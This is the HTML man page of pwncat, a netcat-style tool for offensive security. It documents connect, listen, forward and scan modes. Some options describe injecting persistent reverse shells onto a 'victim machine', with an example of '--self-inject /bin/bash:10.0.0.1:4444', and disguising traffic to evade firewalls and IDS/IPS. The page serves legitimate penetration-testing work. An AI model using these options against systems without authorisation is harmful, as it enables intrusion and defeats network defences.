docs/pwncat.man.html

<!-- Creator     : groff version 1.22.4 -->

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta name="keywords" content="pwncat, reverse shell, bind shell, exploit, exploitation, proxy, port forwarding, self-inject">
<meta name="description" content="pwncat - netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE)">
<meta name="author" content="cytopia">
<meta name="generator" content="groff -Thtml, see www.gnu.org">
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<meta name="Content-Style" content="text/css">
<style type="text/css">
       p       { margin-top: 0; margin-bottom: 0; vertical-align: top }
       pre     { margin-top: 0; margin-bottom: 0; vertical-align: top }
       table   { margin-top: 0; margin-bottom: 0; vertical-align: top }
       h1      { text-align: center }
</style>
<title>pwncat(1) - man page</title>

</head>
<body>

<h1 align="center">PWNCAT: man page</h1>

<a href="#NAME">NAME</a><br>
<a href="#DESCRIPTION">DESCRIPTION</a><br>

<hr>


<h2>NAME
<a name="NAME"></a>
</h2>


<p style="margin-left:11%; margin-top: 1em">pwncat: &minus;
a sophisticated bind and reverse shell handler with many features as well as a drop-in replacement or compatible complement to netcat, ncat or socat.</p>

<h2>DESCRIPTION
<a name="DESCRIPTION"></a>
</h2>


<p style="margin-left:11%; margin-top: 1em">usage: pwncat
[options] hostname port</p>

<p style="margin-left:22%; margin-top: 1em">pwncat
[options] <b>&minus;l</b> [hostname] port pwncat [options]
<b>&minus;z</b> hostname port pwncat [options]
<b>&minus;L</b> [addr:]port hostname port pwncat [options]
<b>&minus;R</b> addr:port hostname port pwncat
<b>&minus;V</b>, <b>&minus;&minus;version</b> pwncat
<b>&minus;h</b>, <b>&minus;&minus;help</b></p>

<p style="margin-left:11%; margin-top: 1em">Enhanced and
compatible Netcat implementation written in Python (2 and 3)
with connect, zero&minus;i/o, listen and forward modes and
techniques to detect and evade firewalls and intrusion
detection/prevention systems.</p>

<p style="margin-left:11%; margin-top: 1em">If no mode
arguments are specified, pwncat will run in connect mode and
act as a client to connect to a remote endpoint. If the
connection to the remote endoint is lost, pwncat will quit.
See options for how to automatically reconnect.</p>

<p style="margin-left:11%; margin-top: 1em"><b>positional
arguments:</b> <br>
hostname</p>

<p style="margin-left:22%;">Address to listen, forward,
scan or connect to.</p>

<table width="100%" border="0" rules="none" frame="void"
       cellspacing="0" cellpadding="0">
<tr valign="top" align="left">
<td width="11%"></td>
<td width="6%">


<p>port</p></td>
<td width="5%"></td>
<td width="78%">


<p>[All modes] Single port to listen, forward or connect
to. [Zero&minus;I/O mode] Specify multiple ports to scan:
Via list: 4444,4445,4446 Via range: 4444&minus;4446 Via
incr: 4444+2</p></td></tr>
</table>

<p style="margin-left:11%; margin-top: 1em"><b>mode
arguments: <br>
&minus;l</b>, <b>&minus;&minus;listen</b></p>

<p style="margin-left:22%;">[Listen mode]: Start a server
and listen for incoming connections. If using TCP and a
connected client disconnects or the connection is
interrupted otherwise, the server will quit. See
<b>&minus;k</b>/&minus;&minus;keep&minus;open to change this
behaviour.</p>

<p style="margin-left:11%;"><b>&minus;z</b>,
<b>&minus;&minus;zero</b></p>

<p style="margin-left:22%;">[Zero&minus;I/0 mode]: Connect
to a remote endpoint and report status only. Used for port
scanning. See <b>&minus;&minus;banner</b> for version
detection.</p>

<p style="margin-left:11%;"><b>&minus;L</b> [addr:]port,
<b>&minus;&minus;local</b> [addr:]port</p>

<p style="margin-left:22%;">[Local forward mode]: This mode
will start a server and a client internally. The internal
server will listen locally on specified addr/port (given by
<b>&minus;&minus;local</b> [addr:]port). The server will
then forward traffic to the internal client which connects
to another server specified by hostname/port given via
positional arguments. (I.e.: proxies a remote service to a
local address)</p>

<p style="margin-left:11%;"><b>&minus;R</b> addr:port,
<b>&minus;&minus;remote</b> addr:port</p>

<p style="margin-left:22%;">[Remote forward mode]: This
mode will start two clients internally. One is connecting to
the target and one is connecting to another pwncat/netcat
server you have started somewhere. Once connected, it will
then proxy traffic between you and the target. This mode
should be applied on machines that block incoming traffic
and only allow outbound. The connection to your listening
server is given by <b>&minus;R</b>/&minus;&minus;remote
addr:port and the connection to the target machine via the
positional arguments.</p>

<p style="margin-left:11%; margin-top: 1em"><b>optional
arguments: <br>
&minus;e</b> cmd, <b>&minus;&minus;exec</b> cmd</p>

<p style="margin-left:22%;">Execute shell command. Only for
connect or listen mode.</p>

<p style="margin-left:11%;"><b>&minus;C</b> lf,
<b>&minus;&minus;crlf</b> lf</p>

<p style="margin-left:22%;">Specify, &rsquo;lf&rsquo;,
&rsquo;crlf&rsquo; or &rsquo;cr&rsquo; to always force
replacing line endings for input and outout accordingly.
Specify &rsquo;no&rsquo; to completely remove any line
feeds. By default it will not replace anything and takes
what is entered (usually CRLF on Windows, LF on Linux and
some times CR on MacOS).</p>

<p style="margin-left:11%;"><b>&minus;n</b>,
<b>&minus;&minus;nodns</b></p>

<p style="margin-left:22%;">Do not resolve DNS.</p>


<p style="margin-left:11%;"><b>&minus;&minus;send&minus;on&minus;eof</b></p>

<p style="margin-left:22%;">Buffer data received on stdin
until EOF and send everything in one chunk.</p>


<p style="margin-left:11%;"><b>&minus;&minus;no&minus;shutdown</b></p>

<p style="margin-left:22%;">Do not shutdown into
half&minus;duplex mode. If this option is passed, pwncat
won&rsquo;t invoke shutdown on a socket after seeing EOF on
stdin. This is provided for backward&minus;compatibility
with OpenBSD netcat, which exhibits this behavior.</p>

<p style="margin-left:11%;"><b>&minus;v</b>,
<b>&minus;&minus;verbose</b></p>

<p style="margin-left:22%;">Be verbose and print info to
stderr. Use <b>&minus;v</b>, <b>&minus;vv</b>,
<b>&minus;vvv</b> or <b>&minus;vvvv</b> for more verbosity.
The server performance will decrease drastically if you use
more than three times.</p>

<p style="margin-left:11%;"><b>&minus;&minus;info</b>
type</p>

<p style="margin-left:22%;">Show additional info about
sockets, IPv4/6 or TCP opts applied to the current socket
connection. Valid parameter are &rsquo;sock&rsquo;,
&rsquo;ipv4&rsquo;, &rsquo;ipv6&rsquo;, &rsquo;tcp&rsquo; or
&rsquo;all&rsquo;. Note, you must at least be in INFO
verbose mode in order to see them (<b>&minus;vv</b>).</p>

<p style="margin-left:11%;"><b>&minus;c</b> str,
<b>&minus;&minus;color</b> str</p>

<p style="margin-left:22%;">Colored log output. Specify
&rsquo;always&rsquo;, &rsquo;never&rsquo; or
&rsquo;auto&rsquo;. In &rsquo;auto&rsquo; mode, color is
displayed as long as the output goes to a terminal. If it is
piped into a file, color will automatically be disabled.
This mode also disables color on Windows by default.
(default: auto)</p>


<p style="margin-left:11%;"><b>&minus;&minus;safe&minus;word</b>
str</p>

<p style="margin-left:22%;">All modes: If pwncat is started
with this argument, it will shut down as soon as it receives
the specified string. The
<b>&minus;&minus;keep&minus;open</b> (server) or
<b>&minus;&minus;reconn</b> (client) options will be ignored
and it won&rsquo;t listen again or reconnect to you. Use a
very unique string to not have it shut down accidentally by
other input.</p>

<p style="margin-left:11%; margin-top: 1em"><b>protocol
arguments:</b></p>

<table width="100%" border="0" rules="none" frame="void"
       cellspacing="0" cellpadding="0">
<tr valign="top" align="left">
<td width="11%"></td>
<td width="3%">


<p><b>&minus;4</b></p></td>
<td width="8%"></td>
<td width="75%">


<p>Only Use IPv4 (default: IPv4 and IPv6 dualstack).</p></td>
<td width="3%">
</td></tr>
<tr valign="top" align="left">
<td width="11%"></td>
<td width="3%">


<p><b>&minus;6</b></p></td>
<td width="8%"></td>
<td width="75%">


<p>Only Use IPv6 (default: IPv4 and IPv6 dualstack).</p></td>
<td width="3%">
</td></tr>
</table>

<p style="margin-left:11%;"><b>&minus;u</b>,
<b>&minus;&minus;udp</b></p>

<p style="margin-left:22%;">Use UDP for the connection
instead of TCP.</p>

<p style="margin-left:11%;"><b>&minus;T</b> str,
<b>&minus;&minus;tos</b> str</p>

<p style="margin-left:22%;">Specifies IP Type of Service
(ToS) for the connection. Valid values are the tokens
&rsquo;mincost&rsquo;, &rsquo;lowcost&rsquo;,
&rsquo;reliability&rsquo;, &rsquo;throughput&rsquo; or
&rsquo;lowdelay&rsquo;.</p>

<table width="100%" border="0" rules="none" frame="void"
       cellspacing="0" cellpadding="0">
<tr valign="top" align="left">
<td width="11%"></td>
<td width="9%">


<p><b>&minus;&minus;http</b></p></td>
<td width="2%"></td>
<td width="78%">


<p>Connect / Listen mode (TCP and UDP): Hide traffic in
http packets to fool Firewalls/IDS/IPS.</p></td></tr>
</table>

<p style="margin-left:11%;"><b>&minus;&minus;https</b></p>

<p style="margin-left:22%;">Connect / Listen mode (TCP and
UDP): Hide traffic in https packets to fool
Firewalls/IDS/IPS.</p>

<p style="margin-left:11%;"><b>&minus;H</b> [str ...],
<b>&minus;&minus;header</b> [str ...]</p>

<p style="margin-left:22%;">Add HTTP headers to your
request when using <b>&minus;&minus;http</b>(s).</p>

<p style="margin-left:11%; margin-top: 1em"><b>command
&amp; control arguments: <br>
&minus;&minus;self&minus;inject</b> cmd:host:port[s]</p>

<p style="margin-left:22%;">Listen mode (TCP only): If you
are about to inject a reverse shell onto the victim machine
(via php, bash, nc, ncat or similar), start your listening
server with this argument. This will then (as soon as the
reverse shell connects) automatically deploy and
background&minus;run an unbreakable pwncat reverse shell
onto the victim machine which then also connects back to you
with specified arguments. Example:
&rsquo;&minus;&minus;self&minus;inject
/bin/bash:10.0.0.1:4444&rsquo; It is also possible to launch
multiple reverse shells by specifying multiple ports. Via
list: <b>&minus;&minus;self&minus;inject</b>
/bin/sh:10.0.0.1:4444,4445,4446 Via range:
<b>&minus;&minus;self&minus;inject</b>
/bin/sh:10.0.0.1:4444&minus;4446 Via incr:
<b>&minus;&minus;self&minus;inject</b>
/bin/sh:10.0.0.1:4444+2 Note: this is currently an
experimental feature and does not work on Windows remote
hosts yet.</p>

<p style="margin-left:11%; margin-top: 1em"><b>pwncat
scripting engine: <br>
&minus;&minus;script&minus;send</b> file</p>

<p style="margin-left:22%;">All modes (TCP and UDP): A
Python scripting engine to define your own custom
transformer function which will be executed before sending
data to a remote endpoint. Your file must contain the exact
following function which will: be applied as the
transformer: def transform(data, pse):</p>

<p style="margin-left:11%;"># NOTE: the function name must
be &rsquo;transform&rsquo;</p>

<p style="margin-left:22%;"># NOTE: the function param name
must be &rsquo;data&rsquo; # NOTE: indentation must be 4
spaces # ... your transformations goes here return data</p>

<p style="margin-left:11%;">You can also define as many
custom functions or classes</p>

<p style="margin-left:22%;">within this file, but ensure to
prefix them uniquely to not collide with pwncat&rsquo;s
function or classes, as the file will be called with
exec().</p>


<p style="margin-left:11%;"><b>&minus;&minus;script&minus;recv</b>
file</p>

<p style="margin-left:22%;">All modes (TCP and UDP): A
Python scripting engine to define your own custom
transformer function which will be executed after receiving
data from a remote endpoint. Your file must contain the
exact following function which will: be applied as the
transformer: def transform(data, pse):</p>

<p style="margin-left:11%;"># NOTE: the function name must
be &rsquo;transform&rsquo;</p>

<p style="margin-left:22%;"># NOTE: the function param name
must be &rsquo;data&rsquo; # NOTE: indentation must be 4
spaces # ... your transformations goes here return data</p>

<p style="margin-left:11%;">You can also define as many
custom functions or classes</p>

<p style="margin-left:22%;">within this file, but ensure to
prefix them uniquely to not collide with pwncat&rsquo;s
function or classes, as the file will be called with
exec().</p>

<p style="margin-left:11%; margin-top: 1em"><b>zero-i/o
mode arguments: <br>
&minus;&minus;banner</b></p>

<p style="margin-left:22%;">Zero&minus;I/O (TCP and UDP):
Try banner grabbing during port scan.</p>

<p style="margin-left:11%; margin-top: 1em"><b>listen mode
arguments: <br>
&minus;k</b>, <b>&minus;&minus;keep&minus;open</b></p>

<p style="margin-left:22%;">Listen mode (TCP only):
Re&minus;accept new clients in listen mode after a client
has disconnected or the connection is interrupted otherwise.
(default: server will quit after connection is gone)</p>

<p style="margin-left:11%;"><b>&minus;&minus;rebind</b>
[x]</p>

<p style="margin-left:22%;">Listen mode (TCP and UDP): If
the server is unable to bind, it will re&minus;initialize
itself x many times before giving up. Omit the quantifier to
rebind endlessly or specify a positive integer for how many
times to rebind before giving up. See
<b>&minus;&minus;rebind&minus;robin</b> for an interesting
use&minus;case. (default: fail after first unsuccessful
try).</p>


<p style="margin-left:11%;"><b>&minus;&minus;rebind&minus;wait</b>
s</p>

<p style="margin-left:22%;">Listen mode (TCP and UDP): Wait
x seconds between re&minus;initialization. (default: 1)</p>


<p style="margin-left:11%;"><b>&minus;&minus;rebind&minus;robin</b>
port</p>

<p style="margin-left:22%;">Listen mode (TCP and UDP): If
the server is unable to initialize (e.g: cannot bind and
<b>&minus;&minus;rebind</b> is specified, it it will shuffle
ports in round&minus;robin mode to bind to. Use comma
separated string such as &rsquo;80,81,82,83&rsquo;, a range
of ports &rsquo;80&minus;83&rsquo; or an increment
&rsquo;80+3&rsquo;. Set <b>&minus;&minus;rebind</b> to at
least the number of ports to probe +1 This option requires
<b>&minus;&minus;rebind</b> to be specified.</p>

<p style="margin-left:11%; margin-top: 1em"><b>connect mode
arguments: <br>
&minus;&minus;source&minus;addr</b> addr</p>

<p style="margin-left:22%;">Specify source bind IP address
for connect mode.</p>


<p style="margin-left:11%;"><b>&minus;&minus;source&minus;port</b>
port</p>

<p style="margin-left:22%;">Specify source bind port for
connect mode.</p>

<p style="margin-left:11%;"><b>&minus;&minus;reconn</b>
[x]</p>

<p style="margin-left:22%;">Connect mode (TCP and UDP): If
the remote server is not reachable or the connection is
interrupted, the client will connect again x many times
before giving up. Omit the quantifier to retry endlessly or
specify a positive integer for how many times to retry
before giving up. (default: quit if the remote is not
available or the connection was interrupted) This might be
handy for stable TCP reverse shells ;&minus;) Note on UDP:
By default UDP does not know if it is connected, so it will
stop at the first port and assume it has a connection.
Consider using <b>&minus;&minus;udp&minus;sconnect</b> with
this option to make UDP aware of a successful
connection.</p>


<p style="margin-left:11%;"><b>&minus;&minus;reconn&minus;wait</b>
s</p>

<p style="margin-left:22%;">Connect mode (TCP and UDP):
Wait x seconds between re&minus;connects. (default: 1)</p>


<p style="margin-left:11%;"><b>&minus;&minus;reconn&minus;robin</b>
port</p>

<p style="margin-left:22%;">Connect mode (TCP and UDP): If
the remote server is not reachable or the connection is
interrupted and <b>&minus;&minus;reconn</b> is specified,
the client will shuffle ports in round&minus;robin mode to
connect to. Use comma separated string such as
&rsquo;80,81,82,83&rsquo;, a range of ports
&rsquo;80&minus;83&rsquo; or an increment
&rsquo;80+3&rsquo;. Set <b>&minus;&minus;reconn</b> to at
least the number of ports to probe +1 This helps reverse
shell to evade intrusiona prevention systems that will cut
your connection and block the outbound port. This is also
useful in Connect or Zero&minus;I/O mode to figure out what
outbound ports are allowed.</p>


<p style="margin-left:11%;"><b>&minus;&minus;ping&minus;init</b></p>

<p style="margin-left:22%;">Connect mode (TCP and UDP): UDP
is a stateless protocol unlike TCP, so no handshake
communication takes place and the client just sends data to
a server without being &quot;accepted&quot; by the server
first. This means a server waiting for an UDP client to
connect to, is unable to send any data to the client, before
the client hasn&rsquo;t send data first. The server simply
doesn&rsquo;t know the IP address before an initial connect.
The <b>&minus;&minus;ping&minus;init</b> option instructs
the client to send one single initial ping packet to the
server, so that it is able to talk to the client. This is a
way to make a UDP reverse shell work. See
<b>&minus;&minus;ping&minus;word</b> for what char/string to
send as initial ping packet (default: &rsquo;\0&rsquo;)</p>


<p style="margin-left:11%;"><b>&minus;&minus;ping&minus;intvl</b>
s</p>

<p style="margin-left:22%;">Connect mode (TCP and UDP):
Instruct the client to send ping intervalls every s sec.
This allows you to restart your UDP server and just wait for
the client to report back in. This might be handy for stable
UDP reverse shells ;&minus;) See
<b>&minus;&minus;ping&minus;word</b> for what char/string to
send as initial ping packet (default: &rsquo;\0&rsquo;)</p>


<p style="margin-left:11%;"><b>&minus;&minus;ping&minus;word</b>
str</p>

<p style="margin-left:22%;">Connect mode (TCP and UDP):
Change the default character &rsquo;\0&rsquo; to use for upd
ping. Single character or strings are supported.</p>


<p style="margin-left:11%;"><b>&minus;&minus;ping&minus;robin</b>
port</p>

<p style="margin-left:22%;">Connect mode (TCP and UDP):
Instruct the client to shuffle the specified ports in
round&minus;robin mode for a remote server to ping. This
might be handy to scan outbound allowed ports. Use comma
separated string such as &rsquo;80,81,82,83&rsquo;, a range
of ports &rsquo;80&minus;83&rsquo; or an increment
&rsquo;80+3&rsquo;. Use
<b>&minus;&minus;ping&minus;intvl</b> 0 to be faster.</p>


<p style="margin-left:11%;"><b>&minus;&minus;udp&minus;sconnect</b></p>

<p style="margin-left:22%;">Connect mode (UDP only):
Emulating stateful behaviour for UDP connect phase by
sending an initial packet to the server to validate if it is
actually connected. By default, UDP will simply issue a
connect and is not aware if it is really connected or not.
The default connect packet to be send is &rsquo;\0&rsquo;,
you can change this with
<b>&minus;&minus;udp&minus;sconnect&minus;word</b>.</p>


<p style="margin-left:11%;"><b>&minus;&minus;udp&minus;sconnect&minus;word</b>
[str]</p>

<p style="margin-left:22%;">Connect mode (UDP only): Change
the the data to be send for UDP stateful connect behaviour.
Note you can also omit the string to send an empty packet
(EOF), but be aware that some servers such as netcat will
instantly quit upon receive of an EOF packet. The default is
to send a null byte sting: &rsquo;\0&rsquo;.</p>

<p style="margin-left:11%; margin-top: 1em"><b>misc
arguments: <br>
&minus;h</b>, <b>&minus;&minus;help</b></p>

<p style="margin-left:22%;">Show this help message and
exit</p>

<p style="margin-left:11%;"><b>&minus;V</b>,
<b>&minus;&minus;version</b></p>

<p style="margin-left:22%;">Show version information and
exit</p>
<hr>
</body>
</html>